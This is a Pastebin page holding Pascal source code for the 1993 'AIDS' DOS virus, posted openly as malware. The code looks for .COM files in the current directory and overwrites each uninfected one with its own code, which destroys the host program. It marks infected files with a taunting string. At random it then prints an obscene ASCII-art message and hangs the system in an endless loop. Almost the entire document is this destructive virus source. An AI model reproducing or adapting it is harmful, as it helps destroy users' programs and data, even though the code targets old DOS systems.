Advertisement
InfectedPacket

AIDS Virus (1993)

Aug 7th, 2015
379
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 6.11 KB | None | 0 0
  1. ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  2. ³ AIDS Pascal Source Code                                                     ³
  3. ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  4.  
  5. {C-}
  6. {U-}
  7. {I-}       { Wont allow a user break, enable IO check }
  8.  
  9. { -- Constants --------------------------------------- }
  10.  
  11. Const
  12.      VirusSize = 13847;    { AIDS's code size }
  13.  
  14.      Warning   :String[42]     { Warning message }
  15.      = 'This File Has Been Infected By AIDS! HaHa!';
  16.  
  17. { -- Type declarations------------------------------------- }
  18.  
  19. Type
  20.      DTARec    =Record      { Data area for file search }
  21.      DOSnext  :Array[1..21] of Byte;
  22.                    Attr    : Byte;
  23.                    Ftime,
  24.                    FDate,
  25.                    FLsize,
  26.                    FHsize  : Integer;
  27.                    FullName: Array[1..13] of Char;
  28.                  End;
  29.  
  30. Registers    = Record    {Register set used for file search }
  31.    Case Byte of
  32.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  33.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  34.    End;
  35.  
  36. { -- Variables--------------------------------------------- }
  37.  
  38. Var
  39.                                { Memory offset program code }
  40.    ProgramStart : Byte absolute Cseg:$100;
  41.                                           { Infected marker }
  42.    MarkInfected : String[42] absolute Cseg:$180;
  43.    Reg          : Registers;                 { Register set }
  44.    DTA          : DTARec;                       { Data area }
  45.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  46.    TestID       : String[42]; { To recognize infected files }
  47.    UsePath      : String[66];        { Path to search files }
  48.                                     { Lenght of search path }
  49.    UsePathLenght: Byte absolute UsePath;
  50.    Go           : File;                    { File to infect }
  51.    B            : Byte;                              { Used }
  52.    LoopVar      : Integer;  {Will loop forever}
  53.  
  54. { -- Program code------------------------------------------ }
  55.  
  56. Begin
  57.   GetDir(0, UsePath);               { get current directory }
  58.   if Pos('\', UsePath) <> UsePathLenght then
  59.     UsePath := UsePath + '\';
  60.   UsePath := UsePath + '*.COM';        { Define search mask }
  61.   Reg.AH := $1A;                            { Set data area }
  62.   Reg.DS := Seg(DTA);
  63.   Reg.DX := Ofs(DTA);
  64.   MsDos(Reg);
  65.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  66.   Reg.AH := $4E;
  67.   Reg.DS := Seg(UsePath);
  68.   Reg.DX := Ofs(UsePath[1]);
  69.   Reg.CX := $ff;          { Set attribute to find ALL files }
  70.   MsDos(Reg);                   { Find first matching entry }
  71.   IF not Odd(Reg.Flags) Then         { If a file found then }
  72.     Repeat
  73.       UsePath := DTA.FullName;
  74.       B := Pos(#0, UsePath);
  75.       If B > 0 then
  76.       Delete(UsePath, B, 255);             { Remove garbage }
  77.       Assign(Go, UsePath);
  78.       Reset(Go);
  79.       If IOresult = 0 Then          { If not IO error then }
  80.       Begin
  81.         BlockRead(Go, Buffer, 2);
  82.         Move(Buffer[$80], TestID, 43);
  83.                       { Test if file already ill(Infected) }
  84.         If TestID <> Warning Then        { If not then ... }
  85.         Begin
  86.           Seek (Go, 0);
  87.                             { Mark file as infected and .. }
  88.           MarkInfected := Warning;
  89.                                                { Infect it }
  90.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  91.           Close(Go);
  92.           Halt;                   {.. and halt the program }
  93.         End;
  94.         Close(Go);
  95.       End;
  96.         { The file has already been infected, search next. }
  97.       Reg.AH := $4F;
  98.       Reg.DS := Seg(DTA);
  99.       Reg.DX := Ofs(DTA);
  100.       MsDos(Reg);
  101.     {  ......................Until no more files are found }
  102.     Until Odd(Reg.Flags);
  103. Loopvar:=Random(10);
  104. If Loopvar=7 then
  105. begin
  106.   Writeln(' ');                          {Give a lot of smiles}
  107. Writeln('');
  108. Writeln('     ');
  109. Writeln('                                 ATTENTION:                             ');
  110. Writeln('      I have been elected to inform you that throughout your process of ');
  111. Writeln('      collecting and executing files, you have accidentally H??Kä     ');
  112. Writeln('      yourself over; again, that''s PHUCKED yourself over. No, it cannot ');
  113. Writeln('      be; YES, it CAN be, a û?ç?s has infected your system. Now what do ');
  114. Writeln('      you have to say about that? HAHAHAHA. Have H?? with this one and ');
  115. Writeln('                       remember, there is NO cure for                   ');
  116. Writeln('                                                                        ');
  117. Writeln('         ÛÛÛÛÛÛÛÛÛÛ     ÛÛÛÛÛÛÛÛÛÛÛÛ    ÛÛÛÛÛÛÛÛÛÛÛ      ÛÛÛÛÛÛÛÛÛÛ     ');
  118. Writeln('        ÛÛÛ??????ÛÛÛ     ????ÛÛ??????   ÛÛ???????ÛÛÛ    ÛÛÛ???????ÛÛ    ');
  119. Writeln('        ÛÛ??      ÛÛ?        ÛÛ?        ÛÛ?       ÛÛ?   ÛÛ??       ??   ');
  120. Writeln('        ÛÛ?       ÛÛ?        ÛÛ?        ÛÛ?       ÛÛ?   ÛÛ?             ');
  121. Writeln('        ÛÛÛÛÛÛÛÛÛÛÛÛ?        ÛÛ?        ÛÛ?       ÛÛ?   ÛÛÛÛÛÛÛÛÛÛÛÛ    ');
  122. Writeln('        ÛÛ????????ÛÛ?        ÛÛ?        ÛÛ?       ÛÛ?    ?????????ÛÛ?   ');
  123. Writeln('        ÛÛ?       ÛÛ?        ÛÛ?        ÛÛ?       ÛÛ?             ÛÛ?   ');
  124. Writeln('        ÛÛ?       ÛÛ?        ÛÛ?        ÛÛ?      ÛÛÛ?   ÛÛ       ÛÛÛ?   ');
  125. Writeln('        ÛÛ?       ÛÛ?   ÛÛÛÛÛÛÛÛÛÛÛÛ    ÛÛÛÛÛÛÛÛÛÛÛ??    ÛÛÛÛÛÛÛÛÛÛ??   ');
  126. Writeln('         ??        ??    ????????????    ???????????      ??????????    ');
  127. Writeln('                                                                        ');
  128. Writeln('     ');
  129. REPEAT
  130. LOOPVAR:=0;
  131. UNTIL LOOPVAR=1;
  132. end;
  133. End.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement